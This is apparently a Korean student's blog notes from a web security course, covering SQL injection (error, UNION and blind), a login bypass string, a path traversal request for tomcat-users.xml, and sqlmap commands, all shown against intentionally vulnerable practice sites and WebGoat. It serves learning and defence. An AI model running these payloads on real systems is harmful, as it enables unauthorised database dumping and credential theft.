[웹보안] 웹보안 2일차 - 오전


웹보안 2일차 오전 수업 내용 입니다.


아래 내용에 대한 실습은 


http://demo.testfire.net/ 여기나

http://testphp.vulnweb.com/ 여기나


웹고트 등으로 허용된 곳에서 사용하세요


사용사이트에서 쓰다가 해당 회사 보안팀이나 관리자한테 연락 옵니다 ㅋㅋㅋ


참고 사이트


http://www.moi.go.kr/


행정 자치부


정책자료 -> 간행물 ->  시큐어코딩 검색


http://www.moi.go.kr/frt/bbs/type001/commonSelectBoardArticle.do?bbsId=BBSMSTR_000000000012&nttId=42152


C/JAVA 시큐어 코딩 가이드 게시글이 있다


참고문헌

CWE

https://cwe.mitre.org/



https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project


웹보안과 관련된 레퍼런스 가이드들이 많이 나와있다

근데 다 영어임





어차피 크롬이 번역해주거나 개발자라면 알아먹을 수 있는 말들 뿐이니까 걱정은 하지 말고


저길 본인이 들어가서 확인 할 만큼 의지가 있는지가 더 중요함.


나는 여기 적어 놓고 안들어 갈 것 같음.





SQL Injection


1. 에러기반

1' or 1=1


http://testphp.vulnweb.com/listproducts.php?cat=1


일부러 에러 내서 에러메세지 나타나는지 확인

http://testphp.vulnweb.com/listproducts.php?cat=1'




2. Union 기반

1 union Select * ~


ex)  http://www.site.com/news.php?id=5 union all select 1, table_name, 3 from information_schema.tables





DBMS에 대한 정보가 없으니 일단 필드 개수나 정보부터 캐와 보도록 해보자

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null#


메세지가


Error: The used SELECT statements have a different number of columns Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74


이렇게 나옴


http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null# 


http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null# 

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null# 

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null, null, null, null, null, null, null


null 11개 입력하니까 얼렸다


그럼 컬럼이 11개라는 얘기


http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,2,3,4,5,6,7,8,9,10,11# 


맨 마지막 으로 스크롤 내려보면 뭔 숫자들이 나왔다


2,7,9 라는 숫자가 있는데 여기에 공격문자를 넣어서 정보 취득이 가능 하다는 뜻




http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,user(),3,4,5,6,7,8,9,10,11# 



아까 숫자 2가 출력된 자리에


계정정보 acuart@localhost 나타났다




http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()# 




2가 들어갔던 자리에


artists,carts,categ,featured,guestbook,pictures,products,users  라는 정보가 나타났다


아마 저게 테이블 이름 인 것 같다


users 라는 중요한 정보가 있을것만 같은 테이블을 공략해 보자


http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'# 



uname,pass,cc,address,email,name,phone,cart 라는 컬럼 정보가 표시된다


http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,uname,3,4,5,6,address,8,pass,10,11 from users# 


2번과 9번이 들어갔던 자리에 사용자의 ID와 PW가 나타난다


이 정보로 signup으로 들어가 로그인을 하면 접속이 되는 것을 확인 할 수 있다.









3. Blind기반

1, 1 and 1=0


악의적인 문자열 삽입 대신 쿼리 결과에 따라 정보를 취득 하는 기법이다.

덮어놓고 노가다 한다


http://testphp.vulnweb.com/listproducts.php?cat=1 


1개 문자열 추출

select * from test where id = 1 and (식) 116(t)

select * from test where id = 1 and (식) 101(e)



문자열의 범위를 확인


select * from test where id = 1 and (식) > 47

select * from test where id = 1 and (식) < 58



크고 작음의 true false 확인을 통해 범위를 좁혀 나간다.


SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 90

이런식






1. 동적

- scanray, sqlmap


2. 정적

- findbugs, security, PMD


select ..

from ..

where name = $name (sql 인젝션 취약)


..


where name = #name (sql 인젝션 안취약)




이제 webgoat를 해보자


저번주에도 했지만 또 한다.








[웹보안] 웹보안 1일차 - 오후


쌍용 강북 센터 모의해킹 및 웹보안


웹보안 관련 강의만 세번째 듣는다.


처음엔 KISA에서 듣고 두번쨰는 현대 모비스에서 듣고


세번째로 듣는데 내용은 대동소이 하다






1. 기술적 진단

 - 웹취약점 진단 vs 소스코드 진단



1)웹 취약점 진단


로그인

계정 및 암호 찾기

회원가입

회사소개

공지사항

현장소식



2) 소스코드 진단


정책자료 http://www.moi.go.kr

https://kisa.or.kr




---skip ---


웹취약점 진단기준


https://www.owasp.org

owasp top10, 10개


A1 ~ A10 (스캔레이의 룰정책에 보면 기본적으로 해당 정보가 있다)




진단 기준은 3년단위로 업데이트 된다. - 그러나 굵직한건 거의 동일 내용임



-----------skip -------------


HTTP 프로토콜

request

브라우저/http 프로토콜마다 request셋팅은 달라진다.


request 기타 메소드는 대부분 사용이 안되고 get/post만 가능 하게끔 구성 되어 있다.


restfull서비스 다 허용하면 공격자가 서버에 파일을 변경하거나 입력할 수도 있게 된다.


response (응답)

200: 정상응답

300:페이지이동

400:클라이언트 잘못된 요청

500: 서버쪽 에러


이러한 응답 코드를 노출하게 되면 공격자에게


어느 부분에서 에러가 났는지 알게 해주기 때문에


공격자에게 힌트를 줄 수가 있다.


에러 페이지는 알아서 잘 만들자.






--skip --


http://demo.testfire.net


kisa 관련 보안 수업때 항상 등장하는 사이트.





--skip--


Sql injection


1. 일반  sql 인젝션


http://demo.testfire.net


에서 로그인시에


ID는 대충 누가 봐도 관리자 아이디 일 것 같은 


admin 입력 후


pw는


싱글쿼테이션인 ' 이걸 넣어보고 날려보자


그럼 sql 에러 메세지와 함께 쿼리도 보여 준다


이때 pw입력을


'or'1'='1


이라고 넣어주면


sql에서는 


WHERE ID='admin' AND pw = ''or'1'='1' 


이라고 인식하여 true값을 리턴하게 되며


admin 계정으로 로그인이 된다.





만약 싱글쿼테이션이 url 인코딩되어 전송되는 경우


프록시툴을 이용하여 HTTP 요청을 가로채서 값을 바꾼 후에 전송 한다.




2.블라인드 인젝션


webGoat -- http://localhost./WebGoat/attack?Screen=13&menu=1100




이름의 첫글자가 어떤 글자인지 추측 한다  뒤의 90은 대문자인지 소문자인지 구별하기 위함이며


90보다 작은경우 대문자 90보다 큰 경우 소문자 라고 생각 할 수 있다.


90은 대문자 Z의 아스키 코드값 이다.

1
SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 90
cs



->


1
101 and SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 80
cs




이렇게 날렸을때 리턴되는 값이 밸리드인지 인벨리드인지 보고 글자를 판단 하도록 한다.


이런식으로 반복하다 어느정도 범위가 좁혀지면


1
101 and SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 = 74
cs


이런식으로 날려준다


74에서 밸리드가 나온다면 아스키코드 74에 해당하는 글자가 4321432143214321라는 


계좌번호의 주인 이름의 첫글자 라는 것을 알 수 있다.


이런식으로 substring 뒤쪽의 숫자를 

1
2
3
ASCII(SUBSTRING(name,1,1)) 
ASCII(SUBSTRING(name,2,1)) 
ASCII(SUBSTRING(name,3,1))
cs


등으로 바꿔가면서  


한글자식 알아내면 해당 계좌번호의


주인 이름을 전부 알아 낼 수 있다.



다운로드 취약점


서버에 중요한 정보인 config 류의 파일이나


권한,DB접속 정보들이 있는 xml파일을 암호화 하거나 추가적인 권한조치를 취하지 않으면


다운로드 취약점이 발견되는 경우 해당 중요정보가 있는 파일을 다운 받아 해당 서버및 웹어플리케이션


중요정보를 공격자가 알 수 있게 된다




http://localhost./WebGoat/attack?Screen=57&menu=200


Bypass a Path Based Access Control Scheme

프록시툴을 이용해 특정 파일을 요청하는 패킷을 가로채


상대경로로 바꾼 후 톰캣 정보를 가져 올 수 있게 된다.


대충 프로젝트 몇개 하다보면 대부분의 웹어플리케이션의 폴더구조는


비슷비슷 하다는걸 알기 때문에 아래와 같이 추측이 가능 하다


ex) File=../../../tomcat/conf/tomcat-users.xml&SUBMIT=View+File


해당 파일의 정확한 위치를 알 수는 없지만 상대경로를 통해 올라가다 보면


얻어걸리기 때문에 중요 정보를 가져 올 수 있다.



서버보안 이전에 어플리케이션에서 저런 상대경로 요청을 막거나 중요 파일의 암호화를


하지 않은 경우 어렵지 않게 중요 정보가 공격자에게 노출 될 수 있다.




sql MAp 사용



sqlmap 타겟의 디비정보를 뽑아오는 유틸


파이썬기반이기 떄문에 파이썬을 설치 후 사용 하자


파이썬 2점대 버전으로 설치 하도록 하자



사용 방법에 대한 관련 블로그

https://brunch.co.kr/@leesmain/8




테스트 사이트


http://testphp.vulnweb.com



SQLMAP 명령어



 sqlmap.py -u http://testphp.vulnweb.com/AJAX/infoartist.php?id=1 -v 3



뒤에 옵션을 -all --batch 로 주면


모든 공격을 다함



Session 


http 는 stateless 프로토콜이다


그런데도 사용 하는 이유는 가볍고 빠르기 때문에


웹서비스에 적합하기 때문이다.


stateless이기 떄문에 클라이언트가 어떤놈인지 구분할줄 몰라서


http 에서 히든태그를 계속 날려줬었다


그런데 그건 보안에 취약하다


그러니까 히든태그에 담는 데이터를


넷스케이프에서 만든 쿠키에 담기 시작했다


그런데 사실 이것도 보안에 안좋음 


클라이언트 로컬에 저장하기 떄문이다. 게다가 문자열정보만 저장 할 수 있다.


정 쿠키를 쓸떄는 httpOnly를 사용 하도록 한다.


그러니까


세션에 담아서 사용 하도록 하자






+ Recent posts